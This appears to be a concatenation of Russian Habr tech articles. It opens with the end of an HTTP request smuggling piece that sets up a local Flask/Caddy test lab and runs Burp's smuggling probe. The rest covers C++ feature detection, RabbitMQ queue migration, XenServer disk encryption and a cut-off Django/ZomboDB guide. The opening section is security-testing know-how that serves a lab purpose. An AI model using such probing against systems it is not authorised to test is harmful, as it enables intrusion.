#### Необходимые и достаточные условия для уязвимости
Итак, что же является необходимыми условиями для проверки и эксплуатации уязвимости:
* POST запрос. Хотя RFC в явном виде не запрещает использование заголовков Content-Length и Transfer-Encoding для GET запросов, по факту они используются только в POST запросах.
* Наличие frontend и backend серверов — если их не будет, нечему будет рассинхронизироваться.
* Веб-серверы должны по-разному парсить заголовок Transfer-Encoding, то есть один должен его "считывать", а второй игнорировать.
### Тестирование в лабораторных условиях
Для лучшего понимания и поиска проблем в существующих веб-серверах и прокси разумно развернуть тестовую среду у себя локально с помощью Docker.
Пример схемы тестовой среды:
Код приложения:
```
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def main():
# the next line is required for Transfer-Encoding support in the request
request.environ['wsgi.input_terminated'] = True
headers = {}
for header in request.headers:
headers[header[0]] = header[1]
print (request.data)
print (headers)
return jsonify(body=str(request.data), headers=headers)
```
Файл с настройками фронтенда, на примере caddy:
```
localhost:80
log ../access.log
proxy / host.docker.internal:8888
```
Дальше все просто, запускаем приложение:
```
gunicorn --keep-alive 10 -k gevent --bind 0.0.0.0:8888 -w 4 backend:app
```
И контейнер:
```
docker run -d -t --name caddy -p 80:80 -p 443:443 -v /Users/sun/work/caddyfile:/etc/Caddyfile abiosoft/caddy:latest
```
Из магазина Burp устанавливаем HTTP Request Smuggler и Logger ++ для удобства отладки. Далее в Repeater формируем простой запрос, например такой:
```
POST / HTTP/1.1
Host: localhost
Content-Length: 8
Connection: close
body=123
```
И отсылаем его, чтобы проверить что все настроено корректно:
```
HTTP/1.1 200 OK
Content-Length: 202
Content-Type: application/json
Date: Mon, 07 Oct 2019 13:17:18 GMT
Server: Caddy
Server: gunicorn/19.9.0
Connection: close
{"body":"b'body=123'","headers":{"Accept-Encoding":"gzip","Connection":"close","Content-Length":"8","Host":"host.docker.internal:8888","User-Agent":"Go-http-client/1.1","X-Forwarded-For":"172.17.0.1"}}
```
Теперь запускаем Launch Smuggle Probe и смотрим на ответы.
Самое интересное начинается именно в этот момент. Нужно анализировать запросы и ответы, чтобы понять уязвимы сервисы или нет. Эту часть оставим для пытливого читателя. | https://habr.com/ru/post/468489/ | null | ru | null |
# Обнаружение наличия функциональности в C++ на этапе компиляции
В этой статье хотелось бы кратко рассмотреть особенности применения механизма обнаружения наличия функциональности у используемых типов данных на этапе компиляции.
В большей степени такое обнаружение необходимо для возможности формирования вразумительных сообщений об ошибках в обобщенном программировании с помощью шаблонов, а также для унификации и оптимизации реализуемых алгоритмов.
Например, простейший код при компиляции выдаст такое количество строк текста, что смотреть и разбирать его не хочется (хотя, конкретно в этом примере не сложно разобраться):
```
class A {};
template
void print ( const T & value )
{
std::cout << "value: " << value << std::endl;
}
int main ( int, char \*\* )
{
print( A() );
return 0;
}
```
Но если добавить в него обнаружение наличия необходимой функциональности, то всё становится намного понятнее.
```
template
std::enable\_if\_t< is\_detected< LeftShiftOperator, std::ostream, T >(), void >
print ( const T & value ) {
std::cout << "value: " << value << std::endl;
}
```
Еще одним случаем необходимости такой диагностики является пример, когда на этапе компиляции требуется выбрать, какой метод у объекта должен быть вызван:
```
template
void clear ( T & container )
{
if constexpr ( is\_detected< ClearMember, T >() )
container.clear();
else if ( is\_detected< CleanMember, T >() )
container.clean();
else if ( is\_detected< RemoveAllMember, T >() )
container.removeAll();
}
```
В этих примерах можно было бы использовать концепты и рефлексию, но... В случае концептов их применение возможно только начиная с C++20 и их поддержка не везде реализована в полном объеме. А в случае с рефлексией маловероятно что её внедрение будет в C++23, если только в экспериментальных реализациях.
А что делать, если такая функциональность нужна прямо здесь и сейчас? Для этого пока что подойдет эксплуатация механизма [SFINAE](https://ru.wikipedia.org/wiki/SFINAE), который уже традиционно используется в делах рефлексии, а не только по своему прямому назначению. С помощью механизма SFINAE в стандартной библиотеке в [type\_traits](https://en.cppreference.com/w/cpp/header/type_traits) уже определено большое количество средств обнаружения различных особенностей для типов. Более широкий набор инструментов определен в [Boost.TypeTraits](https://www.boost.org/doc/libs/1_52_0/libs/type_traits/doc/html/index.html), в том числе средства обнаружения операторов с помощью `boost::has_` и `boost::is_detected`.
Наиболее часто рекомендуемым способом диагностировать наличие функциональности является применение конструкции вида:
```
void foo ();
template
struct DoesFooFunctionExistsHelper
{
private:
template () ...) )>
static constexpr ::std::true\_type \_\_test(int);
template
static constexpr ::std::false\_type \_\_test(...);
public:
using type = decltype(\_\_test(std::declval()));
};
template < typename ... \_Arguments >
inline constexpr bool doesFooFunctionExists () { return DoesFooFunctionExistsHelper< void, \_Arguments ... >::type::value; }
static\_assert( doesFooFunctionExists<>(), "The function foo() was declared but not detected!" );
```
В этом случае компилятор выбирает подходящий метод `__test`, что позволяет косвенно диагностировать наличие желаемой функциональности. Но данный подход достаточно громоздкий и не наглядный в использовании.
Инструменты обнаружения
-----------------------
Замечательное предложение в стандарт [N4502](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2015/n4502.pdf) (входит в состав [Boost.TypeTraits](https://www.boost.org/doc/libs/1_52_0/libs/type_traits/doc/html/index.html)), которое позволяет решить данную задачу весьма изящным способом. Не буду углубляться в техническую реализацию и принцип действия, они хорошо описаны в самом предложении [N4502](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2015/n4502.pdf) и [здесь](https://en.cppreference.com/w/cpp/experimental/is_detected). Углубимся в особенности его применения.
Предложение содержит реализацию детектора для поддержки следующих желаемых компонентов из набора средств обнаружения:
```
template class Op, class... Args>
using is\_detected = ...; // std::true\_type || std::false\_type
template< template class Op, class... Args >
using detected\_t = ...; // Op || nonesuch
template< class Default, template class Op, class... Args >
using detected\_or\_t = ...; // Op || Default
template class Op, class... Args>
using is\_detected\_exact = std::is\_same, Expected>;
template class Op, class... Args>
using is\_detected\_convertible = std::is\_convertible, To>;
```
| | |
| --- | --- |
| `is_detected` | В зависимости от возможности определения типа `Op` является `std::true_type` или `std::false_type`. |
| `is_detected_exact` | В зависимости от результата проверки идентичности типа `detected_t` и типа `Expected` является `std::true_type` или `std::false_type`. |
| `is_detected_convertible` | В зависимости от возможности преобразования типа `detected_t` к типу `To` является `std::true_type` или `std::false_type`. |
| `detected_t` | В зависимости от возможности определения типа `Op` является `Op` или специальным типом `nonesuch`. |
| `detected_or_t` | В зависимости от возможности определения типа `Op` является `Op` или указанным типом `Default`. |
Рассмотрим подробнее, каким образом этим набором средств обнаружения можно пользоваться.
Обнаружение функции
-------------------
Предположим, имеется следующие определения функций `foo`
```
void foo();
int foo(int);
```
и требуется обнаружить их наличие с помощью представленных средств.
Для этого необходимо определить вспомогательный тип:
```
template
using FooFunction = decltype( foo( std::declval() ... ) );
```
Данное определение означает, что `FooFunction` является типом, возвращаемым функцией с параметрами `foo(Args...)` . Для эмуляции вызова функции `foo` с параметрами используется вспомогательный метод `std::declval`, с описанием которого можно ознакомится [здесь](https://en.cppreference.com/w/cpp/utility/declval).
Используя это определение, можно обнаружить наличие функции `foo` следующим способом:
```
static_assert( is_detected< FooFunction >(), "The foo() was defined but not detected!" );
static_assert( is_detected< FooFunction, int >(), "The foo(int) was defined but not detected!" );
static_assert( !is_detected< FooFunction, int, double >(), "The foo(int,double) was not defined but detected!" );
static_assert( !is_detected< FooFunction, std::string >(), "The foo(string) was not defined but detected!" );
```
А так как `FooFunction` является типом, возвращаемым функцией с параметрами `foo(Args...)`, то в этом случае можно проверить и возвращаемый тип на идентичность и на конвертируемость:
```
static_assert( is_detected_exact< int, FooFunction, int >(), "The int foo(int) was defined but not detected!" );
static_assert( !is_detected_exact< double, FooFunction, int >(), "The double foo(int) was not defined but detected!" );
static_assert( is_detected_convertible< double, FooFunction, int >(), "The convertible int foo(int) was defined but not detected!" );
```
Всё красиво и можно радоваться, но... Попробуем обнаружить функцию `foo(double)`:
```
static_assert( is_detected< FooFunction, double >(), "The convenient foo(int) was defined but not detected!" ); // Oops!
```
И мы её обнаружили! Как же так?
Всё дело в том, что при определении `FooFunction` использовалась имитация вызова функции `foo` с подходящими параметрами, а не с идентичными. Это значит, что если существует возможность вызова функции `foo` с учетом правил преобразования типов, то функция будет обнаружена.
Для строгого соответствия параметров при обнаружении функции следует использовать определение вида:
```
template
using StrictFooFunction = decltype( std::integral\_constant< detected\_t(\*)(Args...), (&foo) >::value( std::declval() ... ) );
```
Использование `std::integral_constant` позволяет гарантировать точное соответствие сигнатуры функции `foo` указанным типам для её параметров. Мы не указываем возвращаемый тип функции `foo` явно, поэтому задаем его с помощью типа `detected_t`, который, как мы помним, и является типом, возвращаемым функцией с параметрами `foo(Args...)` или `nonesuch`.
В этом случае обнаружение функции будет происходить строго в соответствии с сигнатурой:
```
static_assert( is_detected< StrictFooFunction, int >(), "The foo(int) was defined but not detected!" );
static_assert( is_detected< StrictFooFunction, double >(), "The foo(double) was not defined but detected!" );
```
Есть несколько ограничений при обнаружении функций.
Если определение функции `foo` будет произведено после определения типа `FooFunction`, то она не будет обнаружена.
```
template
using FooFunction = decltype( foo( std::declval() ... ) );
int foo(int);
template
using OtherFooFunction = decltype( foo( std::declval() ... ) );
static\_assert( !is\_detected< FooFunction, int >(), "The foo(int) was not defined before FooFunction but detected!" );
static\_assert( is\_detected< OtherFooFunction, int >(), "The foo(int) was defined before OtherFooFunction but not detected!" );
```
Если до определения типа `StrictFooFunction` не будет произведено ни одной декларации функции `foo`, то возникнет ошибка компиляции.
Обнаружение метода структуры или класса
---------------------------------------
Пусть имеется следующая декларация
```
struct A
{
void foo();
int foo(int) const;
static void foo(int, int);
};
```
и требуется обнаружить наличие метода `foo`.
Как и в случае для функции можно обнаружить метод с подходящими параметрами или с их строгим соответствием. При этом учитываются также квалификаторы доступа к функциям `const` и `volatile`.
Для обнаружения метода с подходящими параметрами необходимо определить тип:
```
template
using FooMember = decltype(std::declval().foo(std::declval() ...));
```
Данное определение означает, что `FooMember` является типом, возвращаемым функцией с параметрами `T::foo(Args...)` . Используя это определение, можно обнаружить наличие метода`foo` следующим способом:
```
static_assert( is_detected< FooMember, A >(), "The member A::foo() was declared but not detected!" );
static_assert( !is_detected< FooMember, A const >(), "The member A::foo() const was not declared but detected!" );
static_assert( is_detected< FooMember, A, int >(), "The member A::foo(int) const was declared but not detected!" );
static_assert( is_detected< FooMember, A const, double >(), "The convenient member A::foo(int) const was declared but not detected!" );
static_assert( is_detected< FooMember, A, int, int >(), "The static member A::foo(int,int) was declared but not detected!" );
```
Для обнаружения метода в строгом соответствии с сигнатурой есть нюансы.
Если требуется обнаружить наличие статического метода в соответствии со строгой сигнатурой, то достаточно использовать определение типа, как для функции:
```
template
using StrictFooStaticMember = decltype( std::integral\_constant(\*)(Args ...), &std::decay\_t::foo >::value(std::declval() ...) );
```
В этом случае обнаружение будет выглядеть так:
```
static_assert( is_detected< StrictFooStaticMember, A, int, int >(), "The static member void A::foo(int,int) was declared but not detected!" );
static_assert( !is_detected< StrictFooStaticMember, A, int&, int& >(), "The static member void A::foo(int&,int&) was not declared but detected!" );
```
Если же необходимо обнаружить наличие не статического метода в строгом соответствии с сигнатурой, то требуется небольшая доработка в виде вспомогательного инструмента по определению типа метода члена по заданной сигнатуре.
```
namespace detail
{
template
struct member\_signature;
template
struct member\_signature< T, R( Args ...) > { using type = R(std::decay\_t::\*)(Args ...); };
template
struct member\_signature< T const, R(Args ...) > { using type = R(std::decay\_t::\*)(Args ...) const; };
template
struct member\_signature< T const &, R(Args ...) > { using type = R(std::decay\_t::\*)(Args ...) const &; };
template
struct member\_signature< T const &&, R(Args ...) > { using type = R(std::decay\_t::\*)(Args ...) const &&; };
template
struct member\_signature< T volatile, R(Args ...) > { using type = R(std::decay\_t::\*)(Args ...) volatile; };
template
struct member\_signature< T volatile &, R(Args ...) > { using type = R(std::decay\_t::\*)(Args ...) volatile &; };
template
struct member\_signature< T volatile &&, R(Args ...) > { using type = R(std::decay\_t::\*)(Args ...) volatile &&; };
template
struct member\_signature< T const volatile, R(Args ...) > { using type = R(std::decay\_t::\*)(Args ...) const volatile; };
template
struct member\_signature< T const volatile &, R(Args ...) > { using type = R(std::decay\_t::\*)(Args ...) const volatile &; };
template
struct member\_signature< T const volatile &&, R(Args ...) > { using type = R(std::decay\_t::\*)(Args ...) const volatile &&; };
}
template
using member\_signature\_t = typename detail::member\_signature< T, Sign >::type;
```
В этом случае определение вспомогательного типа для обнаружения не статического метода будет выглядеть так:
```
template
using StrictFooMember = decltype( (std::declval() .\* std::integral\_constant< member\_signature\_t(Args ...)>, &std::decay\_t::foo>::value)(std::declval() ...) );
```
Конструкция выглядит устрашающей). Но по сути своей эмулирует попытку вызова метода `T::foo(Args ...)` по её адресу с проверкой сигнатуры с помощью применения `std::integral_constant`.
Обнаружение наличия метода с помощью `StrictFooMember` будет выглядеть уже привычным способом:
```
static_assert( is_detected< StrictFooMember, A >(), "The member A::foo() was declared but not detected!" );
static_assert( !is_detected< StrictFooMember, A, int >(), "The member A::foo(int) was not declared but detected!" );
static_assert( is_detected< StrictFooMember, A const, int >(), "The member A::foo(int) const was declared but not detected!" );
static_assert( !is_detected< StrictFooMember, A const, double >(), "The member A::foo(double) const was not declared but detected!" );
```
Описанные ранее ограничения при обнаружении функций не распространяются на обнаружение членов класса. Единственным ограничением обнаружения членов класса является публичный доступ к ним.
Проверка возвращаемого типа на идентичность и на конвертируемость для всех представленных определений может быть произведена с помощью функций `is_detected_exact` и `is_detected_convertible`.
Выводы
------
Набор инструментов обнаружения функциональности на этапе компиляции, представленные в предложении в стандарт [N4502](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2015/n4502.pdf), позволяют достаточно гибко обнаруживать наличие методов, как подходящих, так и строго соответствующих заданной сигнатуре.
Данный механизм может быть использован как альтернатива элементам концептов и рефлексии там, где последние еще не реализованы.
### PS
Надеюсь, что кому-то помог разобраться в нюансах использования представленного инструмента обнаружения функциональности.
Детальный пример использования подобного подхода представлен в моем проекте [инструментов ScL](https://gitlab.com/ssoft-scl/complex/scl-kit) ([Detection](https://gitlab.com/ssoft-scl/module/meta/-/blob/main/test/Detection/main.cpp)). Также этот подход применяется при рефлексии операторов для класса-обертки, представленной в статье ["Добавляем дополнительные особенности реализации на C++ с помощью «умных» оберток"](https://habr.com/ru/post/650701/). | https://habr.com/ru/post/657261/ | null | ru | null |
# Как и почему мы обновили очереди RabbitMQ в продакшне
В этой статье хочу поделиться нашим опытом работы с обновлениями RabbitMQ Live. Здесь вы узнаете некоторые подробности о нашей архитектуре и вариантах ее использования. Давайте начнем с самого простого... Зачем нам нужен RabbitMQ в бизнесе?
### Наша архитектура
Мы являемся компанией медицинского страхования, и наш бизнес зависит от множества различных сторонних сервисов для анализа рисков, обработки претензионных документов, начисления ежемесячных платежей и т.д. Все эти процессы требуют определенного времени на обработку, поэтому, чтобы наши сервисы работали быстро и автономно друг от друга, мы используем асинхронную обработку задач, которые могут выполняться в фоновом режиме. Такой подход ускоряет ответы и позволяет осуществлять дополнительные сопутствующие функции, т.е. отправку электронной почты, создание полисов, подтверждение верификации т.д.
Каждый раз, когда клиент обращается к API с каким-либо намерением, делая запрос, это намерение может создавать последующие задачи. Эти задачи не нужно обрабатывать синхронно, а именно, не требуется обрабатывать их сразу же во время обработки первоначального запроса. Вместо этого мы помещаем сообщение об этом намерении в очередь, где оно может быть асинхронно получено другим процессом и обработано независимо от первоначального запроса.
### Проблема
*Но с большими возможностями приходит и большая ответственность*. Обработка сообщений очень важна и критична для нашего бизнеса. Срок действия некоторых сообщений [может истечь без использования или в случае несоответствия аргументов ограничениям очереди](https://www.rabbitmq.com/dlx.html#:~:text=The%20reason%20is%20a%20name,allowed%20queue%20length%20was%20exceeded). Теоретически, этого не должно происходить или может произойти в очень редких случаях. Но поскольку нам приходится работать с данными клиентов, то терять важные сообщения нельзя. Чтобы сохранить неиспользованные сообщения в брокере и не возвращать их в исходную очередь, воспользуемся функцией `dead-letter`.
Сообщения публикуются в обменнике (exchange) и могут быть отправлены в несколько очередей в зависимости от ключа маршрутизации. Как видно из изображения выше, мы использовали ту же схему `dead-letter`, что и для оригинальных очередей, поэтому "мертвые" (dead) сообщения могут оказаться в неверных `dead-letter` очередях . Это не очень критично, если вы собираете "мертвые" сообщения вручную (учитывая, что они редки), но, тем не менее, все равно странно обнаружить их в неподходящем месте.
Чтобы решить эту проблему, необходимо добавить новый аргумент в свойства очередей, это `x-dead-letter-routing-key`, и он должен быть уникальным. В качестве уникального значения для ключа маршрутизации можно использовать само имя очереди. Эта идея на шаг приблизила нашу команду к удачному решению: *нам больше не нужен* `dead-letter` *обменник*. Для упрощения можно использовать безымянный обменник по умолчанию "" с `dead-letter` очередью в качестве ключа маршрутизации, и он будет перенаправлять сообщение непосредственно в нужную очередь.
К сожалению, сделать все не так просто, как об этом пишут или говорят. Чтобы сохранить согласованность и стабильность работы брокера сообщений, RabbitMQ не позволяет изменять аргументы уже существующих очередей.
### Подготовка к развертыванию
Итак, RabbitMQ не позволяет изменять аргументы очередей во время рантайма, поэтому единственный возможный способ сделать это — удалить очереди и создать их заново с обновленными аргументами. Но этого нельзя делать в продакшне, так как мы можем потерять некоторые сообщения, когда они уже будут удалены, а новых еще не существует. Чтобы решить данную проблему, нам нужно ввести временные очереди для обработки таких сообщений, в то время как старые очереди удаляются. Для простой системы это осуществимо с помощью 4 релизов:
* Создайте временные очереди, но пока не обрабатывайте сообщения из них.
* Переключитесь на новые очереди и удалите старые. На этом шаге у нас уже есть правильно настроенные очереди, но имена у них другие. Чтобы вернуться к старым именам, нам нужно снова проделать те же шаги.
* Создайте новые очереди со старыми именами, но с обновленными аргументами. Пока не пользуйтесь сообщениями из них.
* Переключитесь на новые очереди с обновленными аргументами.
4 релиза, совсем не мало, верно? Это требует не только много мелкой работы, но и внимания, чтобы каждый раз убедиться, что все прошло правильно. Как мы можем их уменьшить?
Самое простое, что мы можем сделать, это договориться о переименовании очередей. Это сократит количество релизов в 2 раза, так как нам не нужно будет переименовывать их обратно. Это вполне приемлемо для нас, и даже больше, поскольку мы улучшили процесс обработки сообщений. Но это уже совсем другая история.
Что еще можно сделать? Включение потребителей и обработки сообщений в новых очередях сразу же сократит количество релизов до одного, но мы должны признать риск дублирования сообщений, когда новые очереди уже созданы, а старые еще обрабатываются.
Но я не учел один момент. У нас есть *сине-зеленый процесс развертывания (blue-green deployment process)*, это когда существует несколько инстансов одной и той же вещи. Во время деплоя, вы берете один из них, обновляете, затем устанавливаете его, затем - другой, чтобы обновить. Это гарантирует, что процесс не прерывается, всегда что-то есть. В нашем случае это означает, что там всегда есть пользователь.
Таким образом, сообщения определенно могут быть продублированы, если они будут задеплоены в рабочее время. Деплой занимает несколько минут, а это значит, что и старая, и новая очереди будут активны в течение нескольких минут.
Самое время проанализировать и решить, безопасно ли развертывать приложение ночью (и действительно ли мы хотим это делать), когда поток сообщений невелик, или стоит имплементировать сторонний сервис, например Redis, чтобы проверить, было ли сообщение старой или новой версии уже обработано каким-то пользователем, .
### Релиз
Самый простой способ проверить нагрузку на наш брокер сообщений — это посмотреть количество журналов по дням недели и времени. Поскольку мы являемся узконаправленной компанией, работающей только в Германии, у нас очень низкая нагрузка на сообщения с позднего вечера до раннего утра.
Это не такая большая нагрузка, какая возможна, поэтому вероятен риск того, что некоторые сообщения могут быть продублированы, но даже если это произойдет, их количество будет крайне мало, и мы сможем разобраться с ними вручную. Таким образом экономятся ресурсы и время, которые потребовались бы для двух релизов.
После попытки выпустить релиз после полуночи мы обнаружили, что не можем сделать это ночью. Некоторые из наших сторонних сервисов недоступны, поэтому контейнер просто не может быть загружен. Один раз попробовать стоило, теперь это известно наверняка. Ночь — чтобы спать.
Но все же можно сделать это поздно вечером или рано утром. Нужно только обратить внимание на загрузку RabbitMQ.
Поздно вечером:
Рано утром:
Было решено нажать кнопку релиза рано утром. На этот раз все прошло хорошо, и дубликатов не было.
Это был непростой способ решения проблемы, но оно того стоило. Благодаря этому мы узнали много интересного о процессах обработки и развертывания сообщений. Теперь все работает еще лучше, чем раньше, с правильными настройками очередей и разделенной обработкой сообщений.
### Резюме
* RabbitMQ не позволяет переименовывать очереди или изменять аргументы очереди;
* чтобы изменить что-то в очереди, вы должны удалить ее и создать заново;
* для безопасного повторного создания нужно использовать временные очереди;
* стабильная система может работать под несколькими инстансами, поэтому помните о дублировании сообщений между старыми и новыми очередями;
* если ваш бизнес привязан к одному часовому поясу и не имеет высокой нагрузки в ночное время, то допускается наличие дублированных сообщений вместо избыточного инжиниринга потребителей.
---
> Материал подготовлен в рамках курса [«Highload Architect»](https://otus.pw/UVIK/).
>
> Всех желающих приглашаем на бесплатное demo-занятие **«Паттерны декомпозиции системы на микросервисы»**. На занятии мы познакомимся с паттернами декомпозиции системы на микросервисы. Рассмотрим технические и бизнесовые подходы к декомпозиции.
> [>> РЕГИСТРАЦИЯ](https://otus.pw/9a1gF/)
>
> | https://habr.com/ru/post/591625/ | null | ru | null |
# Шифрование дисков в XenServer
Шифрование локальных дисков(не системного), задача как оказалось достаточно простая.
1. Выбираем раздел для будущего шифрованного хранилища.
`fdisk -l`
На чистой установке в системе с одним диском это будет /dev/sda3. Для примера буду использовать именно его.
прим. XenServer использует GPT вместо MBR, поэтому листинг fdisk может содержать сведения об ошибках. Редактировать разделы лучше gdisk, partx или parted.
2. Проверим какие у нас уже есть хранилища. Если наш целевой раздел уже используется, то придется удалить соответствующее локальное хранилище.
Получаем SR-UUID хранилища
`xe sr-list`
Перед тем как удалить хранилище, придется удалить PBD.
`xe sr-param-list uuid= | grep PBD`
Отключаем и удаляем сначала PBD, а потом и SR.
`xe pbd-unplug uuid=
xe pbd-destroy uuid=
xe sr-destroy uuid=
xe sr-forget uuid=`
3. Создаем шифрованный раздел.
`cryptsetup -c aes-cbc-essiv:sha256 -s 256 luksFormat /dev/sda3`
Вводим пароль для раздела и YES в подтверждение наших намерений.
4. Подключаем наш раздел
`$ cryptsetup luksOpen /dev/sda3 fs_point`
fs\_point — это имя под которым раздел будет доступен в системе, выбираете по своему усмотрению.
Шифрованный раздел будет доступен в системе как /dev/mapper/fs\_point.
5. Подключаем шифрованный раздел как локальное хранилище
Получаем UUID
`xe host-list`
И подключаем SR
`xe sr-create content-type=user device-config:device=/dev/mapper/fs_point host-uuid=$host_uuid name-label="Local Storage - Encrypted" shared=false type=lvm`
6. После перезагрузки сервера придется вручную расшифровывать раздел и подключать sr.
Расшифровка раздела `cryptsetup luksOpen /dev/sda3 fs_point`
Подключение sr `xe pbd-plug uuid=uuid хранилища(можно посмотреть в xencenter или в xe sr-list)`
Удобно сделать скрипт под эти две команды. | https://habr.com/ru/post/142803/ | null | ru | null |
# Кастомизация Django ORM на примере ZomboDB
Часто при работе с [Django](https://www.djangoproject.com/) и [PostgreSQL](https://www.postgresql.org/) возникает необходимость в дополнительных расширениях для базы данных. И если например с [hstore](https://postgrespro.ru/docs/postgrespro/11/hstore) или PostGIS (благодаря GeoDjango) всё достаточно удобно, то c более редкими расширениями — вроде pgRouting, ZomboDB и пр. — приходится либо писать на RawSQL, либо кастомизировать Django ORM. Чем я предлагаю, в данной статье, и заняться, используя в качестве примера ZomboDB и его [getting started tutorial](https://github.com/zombodb/zombodb/blob/master/TUTORIAL.md#getting-started). И заодно рассмотрим как можно подключить ZomboDB к проекту на Django.
У PostgreSQL есть свой полнотекстовый поиск и работает он, судя по последним бенчмаркам, довольно быстро. Но его возможности именно в поиске всё ещё оставляют желать лучшего. Вследствие чего без решений на базе Lucene — ElasticSearch, например, — приходится туго. ElasticSearch внутри имеет свою БД, по которой проводит поиск. Основное решение на текущий момент — это ручное управление консистентностью данных между PostgreSQL и ElasticSearch с помощью сигналов или ручных функций обратного вызова.
[ZomboDB](https://www.zombodb.com/) — это расширение, которое реализует собственный тип индекса, превращая значение таблицы в указатель на [ElasticSearch](https://www.elastic.co/), что позволяет проводить полнотекстовый поиск по таблице, используя ElasticSearch DSL как часть синтаксиса SQL.
На момент написания статьи поиск по сети к результатам не привел. Из статей на Хабре про ZomboDB только [одна](https://habr.com/ru/post/303744/). Статьи по интеграции ZomboDB и Django отсутствуют.
В описании ZomboDB сказано, что обращения в Elasticsearch идут через RESTful API, поэтому производительность вызывает сомнения, но сейчас мы ее касаться не будем. Также вопросов корректного удаления ZomboDB без потери данных.
Далее все тесты будем проводить в [Docker](https://www.docker.com/), поэтому соберем небольшой [docker-compose](https://docs.docker.com/compose/) файл
**docker-compose.yaml**
```
version: '3'
services:
postgres:
build: docker/postgres
environment:
- POSTGRES_USER=django
- POSTGRES_PASSWORD=123456
- POSTGRES_DB=zombodb
- PGDATA=/home/postgresql/data
ports:
- 5432:5432
# sudo sysctl -w vm.max_map_count=262144
elasticsearch:
image: elasticsearch:6.5.4
environment:
- cluster.name=zombodb
- bootstrap.memory_lock=true
- ES_JAVA_OPTS=-Xms512m -Xmx512m
ulimits:
memlock:
soft: -1
hard: -1
ports:
- 9200:9200
django:
build: docker/python
command: python3 manage.py runserver 0.0.0.0:8000
volumes:
- ./:/home/
ports:
- 8000:8000
depends_on:
- postgres
- elasticsearch
```
Последняя версия ZomboDB работает максимум с 10-ой версией Postgres и из зависимостей требует curl (полагаю, чтобы делать запросы в ElasticSearch).
```
FROM postgres:10
WORKDIR /home/
RUN apt-get -y update && apt-get -y install curl
ADD https://www.zombodb.com/releases/v10-1.0.3/zombodb_jessie_pg10-10-1.0.3_amd64.deb ./
RUN dpkg -i zombodb_jessie_pg10-10-1.0.3_amd64.deb
RUN rm zombodb_jessie_pg10-10-1.0.3_amd64.deb
RUN apt-get -y clean
```
Контейнер для Django типичный. В него мы поставим только последние версии Django и psycopg2.
```
FROM python:stretch
WORKDIR /home/
RUN pip3 install --no-cache-dir django psycopg2-binary
```
ElasticSearch в Linux не стартует с базовыми настройками vm.max\_map\_count, поэтому нам придется их немного увеличить (кто знает как это автоматизировать через docker — отпишитесь в комментариях).
```
sudo sysctl -w vm.max_map_count=262144
```
Итак, тестовое окружение готово. Можно переходить к проекту на Django. Целиком я его приводить не буду, желающие могут посмотреть его в [репозитории на GitLab](https://gitlab.com/menstenebris/django_zombodb). Остановлюсь только на критичных моментах.
Первое, что нам нужно сделать, это подключить ZomboDB как extension в PostgreSQL. Можно, конечно, подключиться к базе и включить расширение через SQL `CREATE EXTENSION zombodb;`. Можно даже для этого использовать docker-entrypoint-initdb.d hook в официальном контейнере для Postgres. Но раз у нас Django, то и пойдем его путем.
После создания проекта и создания первой миграции добавим в нее подключение расширения.
```
from django.db import migrations, models
from django.contrib.postgres.operations import CreateExtension
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
CreateExtension('zombodb'),
]
```
Во-вторых, нам нужна модель, которая будет описывать тестовую таблицу. Для этого нам необходимо поле, которое бы работало с типом данных zdb.fulltext. Ну что же, [напишем свое](https://docs.djangoproject.com/en/2.1/howto/custom-model-fields/). Так как этот тип данных для django ведет себя так же, как и нативный postgresql text, то при создании своего поля мы унаследуем наш класс от models.TextField. Вдобавок нужно сделать две важных вещи: выключить возможность использовать Btree-индекс на этом поле и ограничить backend для базы данных. В конечном результате это выглядит следующим образом:
```
class ZomboField(models.TextField):
description = "Alias for Zombodb field"
def __init__(self, *args, **kwargs):
kwargs['db_index'] = False
super().__init__(*args, **kwargs)
def db_type(self, connection):
databases = [
'django.db.backends.postgresql_psycopg2',
'django.db.backends.postgis'
]
if connection.settings_dict['ENGINE'] in databases:
return 'zdb.fulltext'
else:
raise TypeError('This database not support')
```
В-третьих, объясним ZomboDB где искать наш ElasticSearch. В самой базе с этой целью используется кастомный индекс от ZomboDB. Поэтому если адрес поменяется, то и индекс нужно изменить.
Django именует таблицы по шаблону app\_model: в нашем случае приложение называется main, а модель — article. elasticsearch — это dns-имя, которое докер присваивает по названию контейнера.
В SQL это выглядит так:
```
CREATE INDEX idx_main_article
ON main_article
USING zombodb ((main_article.*))
WITH (url='elasticsearch:9200/');
```
В Django нам тоже нужно создать кастомный индекс. Индексы там пока еще не очень гибкие: в частности, zombodb индекс указывает не на конкретную колонку, а на всю [таблицу целиком](https://github.com/zombodb/zombodb/blob/master/CREATE-INDEX.md#indexing-all-columns). В Django же индекс требует обязательное указание на поле. Поэтому я подменил `statement.parts['columns']` на `((main_article.*))`, но методы construct и deconstruct по-прежнему требуют указывать атрибут fields при создании поля. Так же нам нужно передать дополнительный параметр в params. Для чего переопределим метод `__init__`, `deconstruct` и `get_with_params`.
В целом, конструкция получилась рабочая. Миграции применяются и отменяются без проблем.
```
class ZomboIndex(models.Index):
def __init__(self, *, url=None, **kwargs):
self.url = url
super().__init__(**kwargs)
def create_sql(self, model, schema_editor, using=''):
statement = super().create_sql(model, schema_editor, using=' USING zombodb')
statement.parts['columns'] = '(%s.*)' % model._meta.db_table
with_params = self.get_with_params()
if with_params:
statement.parts['extra'] = " WITH (%s) %s" % (
', '.join(with_params),
statement.parts['extra'],
)
print(statement)
return statement
def deconstruct(self):
path, args, kwargs = super().deconstruct()
if self.url is not None:
kwargs['url'] = self.url
return path, args, kwargs
def get_with_params(self):
with_params = []
if self.url:
with_params.append("url='%s'" % self.url)
return with_params
```
Кому такой подход не по душе могут использовать миграции с RunSQL, напрямую добавив индекс. Только придется следить за названием таблицы и индекса самостоятельно.
```
migrations.RunSQL(
sql = (
"CREATE INDEX idx_main_article "
"ON main_article "
"USING zombodb ((main_article.*)) "
"WITH (url='elasticsearch:9200/');"
),
reverse_sql='DROP INDEX idx_main_article'
)
```
В итоге получилась вот такая модель. ZomboField принимает те же самые аргументы, что и TextField, с одним исключением — index\_db ни на что не влияет, так же как и атрибут fields в ZomboIndex.
```
class Article(models.Model):
text = ZomboField()
class Meta:
indexes = [
ZomboIndex(url='elasticsearch:9200/', name='zombo_idx', fields=['text'])
]
```
В конечном счёте, файл миграции должен выглядеть следующим образом:
```
